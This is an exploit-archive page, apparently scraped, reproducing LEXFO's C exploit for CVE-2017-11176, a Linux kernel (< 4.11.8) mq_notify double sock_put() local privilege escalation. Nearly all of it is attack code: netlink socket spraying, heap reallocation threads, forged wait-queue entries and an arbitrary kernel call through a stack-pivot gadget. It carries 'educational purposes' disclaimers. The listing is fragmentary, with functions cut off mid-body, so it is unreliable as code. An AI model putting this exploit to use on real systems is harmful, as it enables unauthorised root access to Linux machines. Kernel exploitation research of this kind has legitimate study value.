Linux kernel < 4.11.8 mq_notify: double sock_put() local privilege escalation Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2018-10-02 |
Type : local |
Platform : linux
This exploit / vulnerability Linux kernel < 4.11.8 mq_notify: double sock_put() local privilege escalation is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
/*
* CVE-2017-11176: "mq_notify: double sock_put()" by LEXFO (2018).
*
* DISCLAIMER: The following code is for EDUCATIONAL purpose only. Do not
* use it on a system without authorizations.
*
* WARNING: The exploit WILL NOT work on your target, it requires modifications!
*
* Compile with:
*
* gcc -fpic -O0 -std=c99 -Wall -pthread cve-2017-11176.c -o exploit
*
* For a complete explanation / analysis, please read the following series:
*
* - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html
* - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html
* - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html
* - https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html
*/
// retrieve the bucket list
struct hlist_head *bucket = nl_pid_hashfn(hash, g_target.pid);
// walk the bucket list
struct hlist_node *cur;
struct hlist_node **pprev = &bucket->first;
for (cur = bucket->first; cur; pprev = &cur->next, cur = cur->next)
{
// is this our target ?
if (cur == (struct hlist_node*)sk)
{
// fix the 'next' and 'pprev' field
if (cur->next == (struct hlist_node*)KMALLOC_TARGET) // 'cmsg_len' value (reallocation)
cur->next = NULL; // first scenario: was the last element in the list
cur->pprev = pprev;
/*
* Creates a NETLINK_USERSOCK netlink socket, binds it and retrieves its pid.
* Argument @sp must not be NULL.
*
* Returns 0 on success, -1 on error.
*/
static int create_netlink_candidate(struct sock_pid *sp)
{
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
.nl_pad = 0,
.nl_pid = 0, // zero to use netlink_autobind()
.nl_groups = 0 // no groups
read_next_block:
if ((ret = _read(proc_fd, buf, sizeof(buf))) < 0)
{
perror("[-] read");
goto fail_close;
}
else if (ret == 0) // no more line to read
{
goto parsing_complete;
}
ptr = buf;
if (strstr(ptr, "sk") != NULL) // this is the first line
{
if ((eol_token = strstr(ptr, "\n")) == NULL)
{
// XXX: we don't handle this case, we can't even read one line...
printf("[-] can't find end of first line\n");
goto fail_close;
}
nb_bytes_read += eol_token - ptr + 1;
ptr = eol_token + 1; // skip the first line
}
parse_next_line:
// this is a "normal" line
if ((eol_token = strstr(ptr, "\n")) == NULL) // current line is incomplete
{
if (_lseek(proc_fd, nb_bytes_read, SEEK_SET) == -1)
{
perror("[-] lseek");
goto fail_close;
}
goto read_next_block;
}
else
{
void *cur_addr;
int cur_proto;
int cur_pid;
if (cur_proto == proto)
{
if (*nb_pids >= tot_pids) // current array is not big enough, make it grow
{
tot_pids *= 2;
if ((*pids = realloc(*pids, tot_pids * sizeof(int))) == NULL)
{
printf("[-] not enough memory\n");
goto fail_close;
}
}
/*
* Prepare multiple netlink sockets and search "adjacent" ones. Arguments
* @target and @guard must not be NULL.
*
* Returns 0 on success, -1 on error.
*/
static int find_netlink_candidates(struct sock_pid *target, struct sock_pid *guard)
{
struct sock_pid candidates[MAX_SOCK_PID_SPRAY];
int *pids = NULL;
size_t nb_pids;
int i, j;
int nb_owned;
int ret = -1;
target->sock_fd = -1;
guard->sock_fd = -1;
// allocate a bunch of netlink sockets
for (i = 0; i < MAX_SOCK_PID_SPRAY; ++i)
{
if (create_netlink_candidate(&candidates[i]))
{
printf("[-] failed to create a new candidate\n");
goto release_candidates;
}
}
printf("[+] %d candidates created\n", MAX_SOCK_PID_SPRAY);
if (parse_proc_net_netlink(&pids, &nb_pids, NETLINK_USERSOCK))
{
printf("[-] failed to parse '/proc/net/netlink'\n");
goto release_pids;
}
printf("[+] parsing '/proc/net/netlink' complete\n");
// find two consecutives pid that we own (slow algorithm O(N*M))
i = nb_pids;
while (--i > 0)
{
guard->pid = pids[i];
target->pid = pids[i - 1];
nb_owned = 0;
// the list is not ordered by pid, so we do a full walking
for (j = 0; j < MAX_SOCK_PID_SPRAY; ++j)
{
if (candidates[j].pid == guard->pid)
{
guard->sock_fd = candidates[j].sock_fd;
nb_owned++;
}
else if (candidates[j].pid == target->pid)
{
target->sock_fd = candidates[j].sock_fd;
nb_owned++;
}
if (nb_owned == 2)
goto found;
}
// reset sock_fd to release them
guard->sock_fd = -1;
target->sock_fd = -1;
}
// we didn't found any valid candidates, release and quit
goto release_pids;
found:
printf("[+] adjacent candidates found!\n");
ret = 0; // we succeed
release_pids:
i = MAX_SOCK_PID_SPRAY; // reset the candidate counter for release
if (pids != NULL)
free(pids);
release_candidates:
while (--i >= 0)
{
// do not release the target/guard sockets
if ((candidates[i].sock_fd != target->sock_fd) &&
(candidates[i].sock_fd != guard->sock_fd))
{
close(candidates[i].sock_fd);
}
}
static void* unblock_thread(void *arg)
{
struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;
int val = 3535; // need to be different than zero
// notify the main thread that the unblock thread has been created. It *must*
// directly call mq_notify().
uta->is_ready = true;
sleep(5); // gives some time for the main thread to block
static int fill_receive_buffer(struct sock_pid *target, struct sock_pid *guard)
{
char buf[1024*10];
int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
.nl_pad = 0,
.nl_pid = target->pid, // use the target's pid
.nl_groups = 0 // no groups
};
if (_setsockopt(target->sock_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
else
printf("[+] receive buffer reduced\n");
static bool can_use_realloc_gadget(void)
{
int fd;
int ret;
bool usable = false;
char buf[32];
if ((fd = _open("/proc/sys/net/core/optmem_max", O_RDONLY)) < 0)
{
perror("[-] open");
// TODO: fallback to sysctl syscall
return false; // we can't conclude, try it anyway or not ?
}
// necessary to pass checks in __scm_send()
first = (struct cmsghdr*) &g_realloc_data;
first->cmsg_len = sizeof(g_realloc_data);
first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsg
first->cmsg_type = 1; // <---- ARBITRARY VALUE
// used by reallocation checker
*pid = MAGIC_NL_PID;
*groups = MAGIC_NL_GROUPS;
// the first element in nlk's wait queue is our userland element (task_list field!)
BUILD_BUG_ON(offsetof(struct wait_queue_head, task_list) != WQ_HEAD_TASK_LIST_OFFSET);
nlk_wait->slock = 0;
nlk_wait->task_list.next = (struct list_head*)&g_uland_wq_elt->task_list;
nlk_wait->task_list.prev = (struct list_head*)&g_uland_wq_elt->task_list;
// initialise the "fake" second element (because of list_for_each_entry_safe())
g_fake_next_elt.next = (struct list_head*)&g_fake_next_elt; // point to itself
g_fake_next_elt.prev = (struct list_head*)&g_fake_next_elt; // point to itself
// initialise the userland wait queue element
BUILD_BUG_ON(offsetof(struct wait_queue, func) != WQ_ELMT_FUNC_OFFSET);
BUILD_BUG_ON(offsetof(struct wait_queue, task_list) != WQ_ELMT_TASK_LIST_OFFSET);
g_uland_wq_elt->flags = WQ_FLAG_EXCLUSIVE; // set to exit after the first arbitrary call
g_uland_wq_elt->private = NULL; // unused
g_uland_wq_elt->func = (wait_queue_func_t) XCHG_EAX_ESP_ADDR; // <----- arbitrary call!
g_uland_wq_elt->task_list.next = (struct list_head*)&g_fake_next_elt;
g_uland_wq_elt->task_list.prev = (struct list_head*)&g_fake_next_elt;
printf("[+] g_uland_wq_elt.func = %p\n", g_uland_wq_elt->func);
// set the timeout value to MAX_SCHEDULE_TIMEOUT
memset(&tv, 0, sizeof(tv));
if (_setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)))
{
perror("[-] setsockopt");
goto fail;
}
// the thread should inherit main thread cpumask, better be sure and redo-it!
if (migrate_to_cpu0())
goto fail;
// make it block
while (_sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0)
;
if (errno != EAGAIN)
{
perror("[-] sendmsg");
goto fail;
}
// use the arbitrary data now
iov.iov_len = 16; // don't need to allocate lots of memory now
mhdr.msg_control = (void*)g_realloc_data; // use the ancillary data buffer
mhdr.msg_controllen = sizeof(g_realloc_data);
g_nb_realloc_thread_ready++;
while (!g_realloc_now) // spinlock until the big GO!
;
// the next call should block while "reallocating"
if (_sendmsg(rta->send_fd, &mhdr, 0) < 0)
{
perror("[-] sendmsg");
goto fail;
}
static int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs)
{
int thread = 0;
int ret = -1;
if (!can_use_realloc_gadget())
{
printf("[-] can't use the 'ancillary data buffer' reallocation gadget!\n");
goto fail;
}
printf("[+] can use the 'ancillary data buffer' reallocation gadget!\n");
if (init_realloc_data())
{
printf("[-] failed to initialize reallocation data!\n");
goto fail;
}
printf("[+] reallocation data initialized!\n");
printf("[ ] initializing reallocation threads, please wait...\n");
for (thread = 0; thread < nb_reallocs; ++thread)
{
if (init_unix_sockets(&rta[thread]))
{
printf("[-] failed to init UNIX sockets!\n");
goto fail;
}
// wait until all threads have been created
while (g_nb_realloc_thread_ready < nb_reallocs)
_sched_yield(); // don't run me, run the reallocator threads!
// keep this inlined, we can't loose any time (critical path)
static inline __attribute__((always_inline)) void realloc_NOW(void)
{
g_realloc_now = 1;
_sched_yield(); // don't run me, run the reallocator threads!
sleep(5);
}
// trigger the bug twice AND immediatly realloc!
if (decrease_sock_refcounter(g_target.sock_fd, unblock_fd) ||
decrease_sock_refcounter(sock_fd2, unblock_fd))
{
goto fail;
}
realloc_NOW();
// close it before invoking the arbitrary call
close(g_guard.sock_fd);
printf("[+] guard socket closed\n");
if (!check_realloc_succeed(unblock_fd, MAGIC_NL_PID, MAGIC_NL_GROUPS))
{
printf("[-] reallocation failed!\n");
// TODO: retry the exploit
goto fail;
}
printf("[+] reallocation succeed! Have fun :-)\n");
// trigger the arbitrary call primitive
printf("[ ] invoking arbitrary call primitive...\n");
val = 3535; // need to be different than zero
if (_setsockopt(unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
{
perror("[-] setsockopt");
goto fail;
}
printf("[+] arbitrary call succeed!\n");